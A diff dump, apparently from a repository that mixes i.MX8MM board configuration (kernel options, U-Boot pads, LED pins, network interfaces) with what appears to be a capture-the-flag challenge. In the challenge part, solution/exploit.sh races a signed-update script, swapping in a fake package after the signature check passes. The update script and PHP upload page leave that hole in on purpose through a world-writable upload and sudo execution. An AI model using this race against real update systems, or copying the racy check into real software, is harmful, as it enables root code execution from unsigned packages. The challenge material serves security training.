CONFIG_LEDS_TRIGGER_HEARTBEAT=y CONFIG_LEDS_TRIGGER_HEARTBEAT=y
CONFIG_LEDS_TRIGGER_CPU=y CONFIG_LEDS_TRIGGER_CPU=y
CONFIG_LEDS_TRIGGER_DEFAULT_ON=y CONFIG_LEDS_TRIGGER_DEFAULT_ON=y
CONFIG_LEDS_TRIGGER_NETDEV=y
CONFIG_EDAC=y CONFIG_EDAC=y
CONFIG_RTC_CLASS=y CONFIG_RTC_CLASS=y
CONFIG_RTC_DRV_MAX77686=y CONFIG_RTC_DRV_MAX77686=y

View File

@ -69,7 +69,7 @@ Index: u-boot-imx/arch/arm/dts/fsl-imx8mm-tgr.dts
+ MX8MM_IOMUXC_SAI1_RXD5_GPIO4_IO7 0x10 + MX8MM_IOMUXC_SAI1_RXD5_GPIO4_IO7 0x10
+ MX8MM_IOMUXC_SAI1_RXD6_GPIO4_IO8 0x10 + MX8MM_IOMUXC_SAI1_RXD6_GPIO4_IO8 0x10
+ MX8MM_IOMUXC_GPIO1_IO08_GPIO1_IO8 0x10 + MX8MM_IOMUXC_GPIO1_IO08_GPIO1_IO8 0x10
+ MX8MM_IOMUXC_SAI1_RXD7_GPIO4_IO9 0x80 + MX8MM_IOMUXC_SAI1_RXD7_GPIO4_IO9 0x1c0
+ MX8MM_IOMUXC_SAI1_RXD1_GPIO4_IO3 0x10 + MX8MM_IOMUXC_SAI1_RXD1_GPIO4_IO3 0x10
+ >; + >;
+ }; + };
@ -4125,7 +4125,7 @@ Index: u-boot-imx/board/tiesse/tgr/spl.c
+#endif +#endif
+ +
+static iomux_v3_cfg_t btn_pads[] = { +static iomux_v3_cfg_t btn_pads[] = {
+ IMX8MM_PAD_SAI1_RXD7_GPIO4_IO9 | MUX_PAD_CTRL(PAD_CTL_HYS), + IMX8MM_PAD_SAI1_RXD7_GPIO4_IO9 | MUX_PAD_CTRL(PAD_CTL_HYS | PAD_CTL_PUE | PAD_CTL_PE ),
+}; +};
+ +
+#define RST_BTN IMX_GPIO_NR(4, 9) +#define RST_BTN IMX_GPIO_NR(4, 9)
@ -4141,8 +4141,8 @@ Index: u-boot-imx/board/tiesse/tgr/spl.c
+ IMX8MM_PAD_SAI1_RXD6_GPIO4_IO8 | MUX_PAD_CTRL(NO_PAD_CTRL), + IMX8MM_PAD_SAI1_RXD6_GPIO4_IO8 | MUX_PAD_CTRL(NO_PAD_CTRL),
+}; +};
+ +
+#define LED_MODEM IMX_GPIO_NR(4, 7) +#define LED_MODEM IMX_GPIO_NR(4, 4)
+#define LED_PWR IMX_GPIO_NR(4, 8) +#define LED_PWR IMX_GPIO_NR(4, 5)
+static void leds_init(void) +static void leds_init(void)
+{ +{
+ imx_iomux_v3_setup_multiple_pads(led_pads, ARRAY_SIZE(led_pads)); + imx_iomux_v3_setup_multiple_pads(led_pads, ARRAY_SIZE(led_pads));
@ -4720,7 +4720,7 @@ Index: u-boot-imx/include/configs/tgr.h
+ +
+#define CONFIG_SYS_SDRAM_BASE 0x40000000 +#define CONFIG_SYS_SDRAM_BASE 0x40000000
+#define PHYS_SDRAM 0x40000000 +#define PHYS_SDRAM 0x40000000
+#define PHYS_SDRAM_SIZE SZ_1G /* 1GB DDR */ +#define PHYS_SDRAM_SIZE SZ_2G /* 1GB DDR */
+#define CONFIG_NR_DRAM_BANKS 1 +#define CONFIG_NR_DRAM_BANKS 1
+ +
+#define CONFIG_SYS_MEMTEST_START PHYS_SDRAM +#define CONFIG_SYS_MEMTEST_START PHYS_SDRAM

View File

@ -1,9 +1,9 @@
auto lo auto lo
iface lo inet loopback iface lo inet loopback
auto eth0 auto ethsw0
pre-up sleep 10 iface ethsw0 inet dhcp
iface eth0 inet dhcp pre-up sleep 20
auto ap0 auto ap0
iface ap0 inet static iface ap0 inet static

16
solution/exploit.sh Normal file
View File

@ -0,0 +1,16 @@
#!/bin/sh
# The solution require the original update.tar.cc in /tmp named 'orig'
# and the fake package renamed to 'pwn' in /tmp. Both need to have chmod 777
cd /tmp;
cp orig update.tar.cc;
chmod 777 update.tar.cc;
sudo -u upgrade /bin/sh /update.sh > log &
while true; do
if [[ "$(cat log | grep Checking)" ]]; then
sleep 0.01
cp pwn update.tar.cc;
fi
done;

BIN
solution/update.tar.cc Normal file

Binary file not shown.

View File

@ -13,30 +13,29 @@ if [[ "$auth" != "$password" ]]; then
exit 1 exit 1
fi fi
pubkey="/pub.pem" pubkey="/pub.pem"
file="/tmp/update.tar.cc" file="/tmp/update.tar.cc"
/bin/chmod 777 $file sig="/tmp/sig"
/bin/echo "### ccOS Update Script ###" /bin/echo "### ccOS Update Script ###"
/bin/echo "[+] Starting" /bin/echo "[+] Starting"
/bin/sleep 1
/bin/echo "[+] Extracting Signature" /bin/echo "[+] Extracting Signature"
skip=$(expr $(stat -c '%s' $file) - 256) skip=$(expr $(stat -c '%s' $file) - 256)
if [[ -L $file ]] if [[ -L $file ]]
then then
exit 0 exit 0
fi fi
/bin/dd if=/tmp/update.tar.cc of=sig bs=1 count=256 skip=$skip /bin/dd if=/tmp/update.tar.cc of=$sig bs=1 count=256 skip=$skip
/usr/bin/truncate -s $skip $file /usr/bin/truncate -s $skip $file
check=`/usr/bin/openssl dgst -sha256 -verify $pubkey -signature /tmp/sig $file` /bin/echo "[+] Checking Signature"
check=`/usr/bin/openssl dgst -sha256 -verify $pubkey -signature $sig $file`
if [ "$check" == "Verified OK" ] if [ "$check" == "Verified OK" ]
then then
/bin/echo "[+] Signature is valid!" /bin/echo "[+] Signature is valid!"
/bin/echo "[+] Upgrading..." /bin/echo "[+] Upgrading..."
/bin/tar -xvf $file -C / /bin/tar -xvf $file -C /
/bin/rm $file /tmp/sig /bin/rm $sig
/bin/echo "[+] Done" /bin/echo "[+] Done"
else else
/bin/echo "[-] Signature error, exiting..." /bin/echo "[-] Signature error, exiting..."
/bin/rm $file /tmp/sig /bin/rm $sig
fi fi

View File

@ -5,8 +5,9 @@ require_once("includes/header.php");
require_once("includes/nav.php"); require_once("includes/nav.php");
if ($_SERVER['REQUEST_METHOD'] === POST && isset($_FILES['update']) && $_FILES['update']['size'] > 10000000 && $_FILES['upfile']['size'] < 10000000 && isset($_POST['password']) && !empty($_POST['password'])) { if ($_SERVER['REQUEST_METHOD'] === POST && isset($_FILES['update']) && $_FILES['update']['size'] > 10000000 && $_FILES['upfile']['size'] < 10000000 && isset($_POST['password']) && !empty($_POST['password'])) {
move_uploaded_file($_FILES['file']['tmp_name'], '/tmp/update.tgz.cc'); move_uploaded_file($_FILES['file']['tmp_name'], '/tmp/update.tar.cc');
exec("/usr/bin/sudo key='".escapeshellarg($_POST['password'])."' /update.sh", $result); exec("/bin/chmod 777 /tmp/update.tar.cc");
exec("key='".escapeshellarg($_POST['password'])."' /bin/sh -c '/usr/bin/sudo /bin/sh /update.sh'", $result);
} }
?> ?>
@ -19,7 +20,7 @@ if ($_SERVER['REQUEST_METHOD'] === POST && isset($_FILES['update']) && $_FILES['
<input type="submit" class="btn btn-b btn-sm smooth" value="Upload"> <input type="submit" class="btn btn-b btn-sm smooth" value="Upload">
<p> <p>
<ul> <ul>
<li>Please select the file <i>ccOS-ver-xxxx.tgz.cc</i></li> <li>Please select the file <i>update.tar.cc</i></li>
<li>The update will take about 2 minutes</li> <li>The update will take about 2 minutes</li>
<li>Updates are cryptographically signed for integrity and authenticity</li> <li>Updates are cryptographically signed for integrity and authenticity</li>
</ul> </ul>